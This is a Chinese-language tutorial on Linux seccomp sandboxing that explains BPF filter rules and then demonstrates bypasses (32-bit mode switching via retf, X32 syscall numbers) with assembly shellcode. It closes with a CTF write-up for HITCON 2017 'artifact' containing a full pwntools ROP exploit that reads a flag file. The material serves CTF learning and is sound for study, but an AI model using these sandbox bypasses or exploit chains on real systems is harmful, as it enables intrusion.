沙箱
因为用户层对数据的一切操作到底都是需要通过系统调用来完成的,那么只要对某些危险的系统调用进行限制,用户层的程序就比较难进行恶意的系统调用
seccommp
short for secure computing mode(wiki)是一种限制系统调用的安全机制,可以当沙箱用。在严格模式下只支持exit(),sigreturn(),read()和write(),其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools查看
prctl
这个系统调用是进行进程控制的。
首先,要使用它需要有CAP_SYS_ADMIN权能(允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等)否则就要设置PR_SET_NO_NEW_PRIVS位。设置了PR_SET_NO_NEW_PRIVS位后能保证seccomp对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl也不能再把它禁用掉。
使用的一般格式
先设定PR_SET_NO_NEW_PRIVS
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //设为1
然后启用自定义过滤模式
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数要进行什么设置,第二个是设置为过滤模式,第三个参数就是过滤规则
这里重点是第三个参数:&prog指向我们制定的过滤规则,指向如下结构体
构造规则
规则由两个结构体控制
struct sock_fprog 记录规则条数和具体规则结构体指针
struct sock_fprog {
unsigned short len; /* Number of BPF instructions */
struct sock_filter *filter; /* Pointer to array of
BPF instructions */
};
struct sock_filter
每一条规则固定形式如下:
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code 真正用于过滤的指令 */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /*多用途字段 Generic multiuse field */
};
为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h):
#ifndef BPF_STMT //一般用于实际数据操作
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP //一般用于跳转
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif
然后就是code的组成,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:
#define BPF_CLASS(code) ((code) & 0x07) //首先指定操作的类别
#define BPF_LD 0x00 //将值cp进寄存器
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07
/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18) //在ld时指定操作数的大小
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0) //操作数类型
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0
/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //当操作码类型为ALU时,指定具体运算符
#define BPF_ADD 0x00 //到底执行什么操作可以看filter.h里面的定义
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0
#define BPF_JA 0x00 //当操作码类型是JMP时指定跳转类型
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00 //常数
#define BPF_X 0x08
另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h,现在来看看怎么写规则,首先是BPF_LD操作类型,它需要用到的结构为:
struct seccomp_data {
int nr; /* System call number 系统调用号字段*/
__u32 arch; /* AUDIT_ARCH_* value 存放系统架构类型信息
(在 <linux/audit.h> 里) */
__u64 instruction_pointer; /* CPU instruction pointer */
__u64 args[6]; /* Up to 6 system call arguments 系统调用时6个寄存器参数*/
};
args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9,现在要将syscall时eax的值载入RegA,可以使用:
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0) //code组成:BPF_LD操作类型 BPF_W: 操作数大小 BPF_ABS:操作数类型
//或者
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))
这会把偏移0处的值(即系统调用的第一个参数)放进寄存器A,读取的是seccomp_data的数据
而跳转语句写法如下:
BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0) //这回把寄存器A与值k(此处为59)作比较,为真跳过下一条规则,为假不跳转
其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。
最后当过滤完成需要返回结果,即是否允许:
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL) //不允许
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW) //允许
一般我们会制定多条规则存放在数组中,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改
例子
#include<stdio.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<stdlib.h>
int main()
{
struct sock_filter filter[] = { //过滤规则数组设定
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //每次系统调用前都会执行该过滤规则,这里就一条规则:SECCOMP_RET_KILL不允许,即否定一切系统调用
};
struct sock_fprog prog = { //固定写法
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), //规则条数
.filter = filter, //规则数组
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //首先必须设定PR_SET_NO_NEW_PRIVS
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); //启用我们的过滤规则,重点是最后的规则结构体指针
printf("test_struct: %p\n", &prog);
printf("Let`s try 'whoami'\n");
system("whoami");
return 0;
}
结果:
0x7ffff7af37b7 <__fxstat64+7> mov edi, eax
0x7ffff7af37b9 <__fxstat64+9> mov rsi, rdx
0x7ffff7af37bc <__fxstat64+12> mov eax, 5
► 0x7ffff7af37c1 <__fxstat64+17> syscall <SYS_fstat>
fd: 0x1
buf: 0x7fffffffd680 ◂— 0x40 /* '@' */
栈回溯:
► f 0 7ffff7af37c1 __fxstat64+17
f 1 7ffff7a6215f _IO_file_doallocate+95
f 2 7ffff7a72379 _IO_doallocbuf+121
f 3 7ffff7a71498 _IO_file_overflow+408
f 4 7ffff7a6f9ed _IO_file_xsputn+189
f 5 7ffff7a3f534 vfprintf+420
f 6 7ffff7a48f26 printf+166
f 7 55555555481b main+145
f 8 7ffff7a05b97 __libc_start_main+231
pwndbg> ni
Program terminated with signal SIGSYS, Bad system call.
The program no longer exists.
现在制订新规则
#include<stdio.h>
#include<sys/prctl.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<stdlib.h>
int main()
{
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //获取第一个参数放入A寄存器
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当A==59继续执行下一条规则,否则跳过下一条规则
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //ALOW
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
printf("Let`s try 'whoami'\n");
system("whoami");
return 0;
}
结果:
hunter@hunter:~/PWN/Sandbox/Test2$ ./mysand2
Let`s try 'whoami'
确实没有执行59号调用。
绕过
如果出现像上面那样没有对ARCH进行检查的规则,我们有方法进行绕过。
当未检查arch参数时,可以尝试转换当前的处理器模式(姑且这样叫),即在32位程序中转到64位或者相反,因为i386和x86-64拥有不同的系统调用号,例如:程序为x86-64的并且禁止execve:
11 64 munmap __x64_sys_munmap
59 64 execve __x64_sys_execve/ptregs
11 i386 execve sys_execve
若改变模式让其认为当前真在处理i386的程序,那么系统调用号11将不会被解析为__x64_sys_munmap而是sys_execve,这样就绕过了保护,于是这种利用需要满足:
- 未检查arch
- 调用号11未被禁止
- sys_mmap或sys_mprotect能用
前面两点比较好理解,第三点主要是因为在转换cpu处理模式后我们很难找到适用于另一种arch的gadget。比如在64位程序中寻找适用于32程序的gadget,如果可以注入外来的shellcode就不一样了。
所以我们用到sys_mprotect或sys_mmap函数来开启某一段空间的执行权限,以便我们之后注入合适的shellcode。
这中特殊的shellcode主要部分如下:
to32: ;;将CPU模式转换为32位
mov DWORD [rsp+4],0x23 ;;32位
retf
to64: ;;将CPU模式转换为64位
mov DWORD [esp+4],0x33 ;;64位
retf
//retf:pop ip ; pop cs
原理为RETF指令,它能改变CS寄存器,当CS为0x23时表示当前为64位,当为0x33时表示为32位
例子
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>
extern void my_execve(char *,char**,char**); //为了学习方便,将shellcode直接编入
char *args[]={
// "/usr/bin/id",
"/bin/sh",
0
};
int main()
{
struct sock_filter filter[] = {
//BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), //这两步是检查arch的,先把注释掉,即不检查arch
//BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
printf(":Beta~\n");
my_execve(args[0],args,0);
//execve("id",0,0);
return 0;
}
接下来的shellcode部分:
section .text
global my_execve
my_execve:
lea rsp,[stk] ;;如下所述,防止内存访问异常
call to32 ;;转换为32位
mov eax,11 ;;32位的sys_execve 64位的sys_munmap
mov ebx,edi ;;32位和64位参数所用寄存器不同需要手动修改
mov ecx,esi
mov edx,edx
int 0x80 ;;32位不能使用syscall,只能使用此指令
ret
to32:
mov DWORD [rsp+4],0x23
retf
section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常
resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了
stk:
Makefile:
all: sec
sec: sec.c sec.asm
nasm -felf64 sec.asm -o sec.o
gcc sec.o sec.c -no-pie -o sec
编译后执行,可以获得shell但是无法执行任何指令:
:Beta~
$ ls
Bad system call (core dumped)
$ ls
Bad system call (core dumped)
$
这是因为设置了PR_SET_NO_NEW_PRIVS以后即使execve这种用新装在的程序替换原来的程序,也会保留原来的seccomp设置,所以此时即使execve(“/bin/sh”, [“/bin/sh”], NULL)执行成功,新生成的shell也不能调用__x64_sys_execve执行新命令,也就是说我们只有一次执行execve的机会(就是转换为32位处理模式而执行的一次execve),于是解决办法就是在shellcode里面直接执行想要的操作,例如:
char *args[]={
"/usr/bin/id",
0
};
结果:
:Beta~
uid=0(root) gid=0(root) groups=0(root)
利用seccomp-tools可以看到程序设定的过滤规则:
hunter@hunter:~/PWN/Sandbox$ seccomp-tools dump ./sec
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
x64下使用X32绕过arch检测
还是上面的程序的程序但是添加了arch检测规则。
X32为x86-64下的一种特殊的模式,它使用64位的寄存器和32位的地址,此时nr会在原来的基础上加上__X32_SYSCALL_BIT (0X40000000),即原本的syscall number + 0x40000000,这会达到一样的效果,此时的shellcode的代码如下:
section .text
global my_execve
my_execve:
mov rax,59+0x40000000 ;;只需要把系统调用号加0x40000000即可
;;另外520 或 520+0x40000000 也能用
syscall
nop
nop
hlt
它同样继承了保护,只能执行一次execve
0x4005b0 <my_execve> mov eax, 0x4000003b
► 0x4005b5 <my_execve+5> syscall
rdi: 0x400764 ◂— 0x68732f6e69622f /* '/bin/sh' */
rsi: 0x601040 (args) —▸ 0x400764 ◂— 0x68732f6e69622f /* '/bin/sh' */
rdx: 0x0
r10: 0x602010 ◂— 0x0
impeccable-Artifact(hitcon-2017-qual)
checksec
[*] '/home/hunter/PWN/Sandbox/artifact'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
IDA
v7 = __readfsqword(0x28u);
init_(); // 输出缓冲关闭、sandbox
memset(v6, 0, 0x640uLL);
while ( 1 )
{
menu();
index = 0;
_isoc99_scanf("%d", &choice);
if ( choice != 1 && choice != 2 )
break;
puts("Idx?");
_isoc99_scanf("%d", &index);
if ( choice == 1 )
{
printf("Here it is: %lld\n", v6[index]); // 数组越界,stackleak
}
else
{
puts("Give me your number:");
_isoc99_scanf("%lld", &v6[index]); // 数组越界,stack overcome
}
}
seccomp-tools规则解析
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch //获取当前架构
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000020 A = args[2] //获取第三个参数
0003: 0x07 0x00 0x00 0x00000000 X = A
0004: 0x20 0x00 0x00 0x00000000 A = sys_number //获取系统调用号
0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019
0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019
0007: 0x15 0x0b 0x00 0x00000005 if (A == fstat) goto 0019
0008: 0x15 0x0a 0x00 0x00000008 if (A == lseek) goto 0019
0009: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0011
0010: 0x15 0x00 0x03 0x0000000a if (A != mprotect) goto 0014
0011: 0x87 0x00 0x00 0x00000000 A = X
0012: 0x54 0x00 0x00 0x00000001 A &= 0x1
0013: 0x15 0x04 0x05 0x00000001 if (A == 1) goto 0018 else goto 0019
0014: 0x1d 0x04 0x00 0x0000000b if (A == X) goto 0019
0015: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0019
0016: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0019
0017: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
过滤规规则为:
- 在x64模式下除了mprotect和mmap上面列表所有的系统调用可直接使用,不在列表上的系统调用如果其第三个参数等于自己的系统调用号,也可进行调用
- 如果为mprotect或则mmap的系统调用,则会检测其proc参数是否由可读标志(0x1)
mprotect和mmap都有的权限参数:proc
#define PROT_READ 0x1 /* Page can be read. 读 */
#define PROT_WRITE 0x2 /* Page can be written.写 */
#define PROT_EXEC 0x4 /* Page can be executed. 执行*/
#define PROT_NONE 0x0 /* Page can not be accessed. 不可访问 */
思路
- 利用数组越界泄露libc基址以及stack地址
- 因为系统调用如果其第三个参数要等于自己的系统调用号,所以execve应该无法打开shell,所以用open函数打开flag
- 然后read,write配合输出
值得注意的是,这里的stackovercome虽然可以用来覆盖返回地址构建rop链,但是数据是以long long int读入的,所以需要一点转换利用pwntools:
- u64/u32即unpack64/32:将4个或8个为一组的字符串转换为小端序排列的10进制数,恰好应对整型数据类型的覆盖
- 对应的就是p32/p64 即pack32/64:将数值转换为小端序排序的字符串,是我们常用的,应对字符数据覆盖
- 而flat就是pack的强化版,可以一次pack多组数据,但是得提前指定arch只有32和64位模式
EXP
#+++++++++++++++++++artifact.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.10.30 15.29.04
#+++++++++++++++++++artifact.py++++++++++++++++++++
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./artifact')
#libc = ELF('null')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def read(index,num):
sh.sendlineafter('Choice?\n' ,'2')
sh.sendlineafter('Idx?\n',str(index))
sh.sendlineafter('number:\n',str(num))
def show(index):
sh.sendlineafter('Choice?\n' ,'1')
sh.sendlineafter('Idx?\n',str(index))
def show_addr(name,addr):
log.success("The "+ str(name)+" Addr:" + str(hex(addr)))
def interperter(of,data): #因为每次覆盖都是地址+参数,这里用来对数据进行分组发送,每次8字节刚好适合long long int
data = data.ljust((len(data)/8+1)*8, '\x00')
for i in range(0,len(data)/8):
read(of+i,u64(data[i*8:i*8+8]))
log.info("offset:%d => 0x%x"%(of+i, u64(data[i*8:i*8+8])))
def pwn():
show(203) #ret
sh.recvuntil('Here it is: ')
libc_addr = int(sh.recvuntil('\n')) - 231 - libc.sym['__libc_start_main']
show_addr('libc_addr',libc_addr)
show(205)
sh.recvuntil('Here it is: ')
topsatck_addr = int(sh.recvuntil('\n'))-0xe8-0x650
show_addr('topsatck_addr',topsatck_addr)
syscall = libc_addr + 0x11b837
popRdxRsiRet = libc_addr + 0x1306d9
popRdiRet = libc_addr + 0x2155f
popRaxRet = libc_addr + 0x439c8
read = flat(popRdiRet,3,popRdxRsiRet,10,topsatck_addr,popRaxRet,0,syscall)
write = flat(popRdiRet,1,popRdxRsiRet,10,topsatck_addr,popRaxRet,1,syscall)
_open = flat(popRdiRet,topsatck_addr,popRdxRsiRet,2,0,popRaxRet,2,syscall)
payload = _open+read+write
interperter(0,"flag.txt")
interperter(0x658/8,payload)
sh.sendlineafter("Choice?\n","3")
#gdb.attach(sh)
sh.interactive()
if __name__ == '__main__':
sh = process('./artifact')
pwn()
结果:
[DEBUG] Received 0xa bytes:
'Congarts!!'
Congarts!!
原文见(大佬tql):https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/#prtcl